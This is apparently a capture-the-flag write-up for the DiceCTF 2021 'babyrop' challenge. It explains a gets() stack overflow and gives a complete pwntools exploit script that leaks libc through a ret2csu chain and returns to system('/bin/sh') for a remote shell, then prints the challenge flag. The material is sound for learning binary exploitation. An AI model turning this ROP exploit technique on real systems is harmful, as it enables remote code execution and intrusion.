Tags: pwnscripts ret2csu rop 

Rating: 3.0

babyrop

author: joshdabosh

"FizzBuzz101: Who wants to write a ret2libc"

nc dicec.tf 31924

Files: babyrop

$ checksec babyrop
[*] 'babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solving

main() has a simple write(1, "Your name: ") introduction, and takes in an infinite input via gets(). The challenge expects solvers to use the ret2csu method to leak libc via write(), and considering I just did that last week, doing this again was an exercise in boredom:

from pwnscripts import *
context.binary = 'babyrop'
context.libc_database = '../libc-database'
PAD = 64+8
scratch = context.binary.bss(0x500)

r = remote('dicec.tf', 31924)
context.log_level = 'debug'
R = ROP(context.binary)
R.raw(PAD*b'A')
R.ret2csu(edi=1, rsi=context.binary.got['write'], rdx=6, rbp=scratch)
R.write()
R.write(1,context.binary.got['gets'])
R.main()
r.sendlineafter('Your name: ', R.chain())

libc_leaks = {f:unpack_bytes(r.recv(6),6) for f in ['write', 'gets']}
context.libc = context.libc_database.libc_find(libc_leaks)
R = ROP(context.libc)
R.raw(PAD*b'A')
R.system(context.libc.symbols['str_bin_sh'])
r.sendlineafter('Your name: ', R.chain())
r.interactive()

I'm using a personal patch of the ret2csu branch of pwntools to have R.ret2csu() work automagically. With write() working, all you need is libc-database + pwnscripts to mop up the trivial details regarding returning to libc & calling system("/bin/sh").

Flag

dice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/DiceGang%202021/babyrop.md).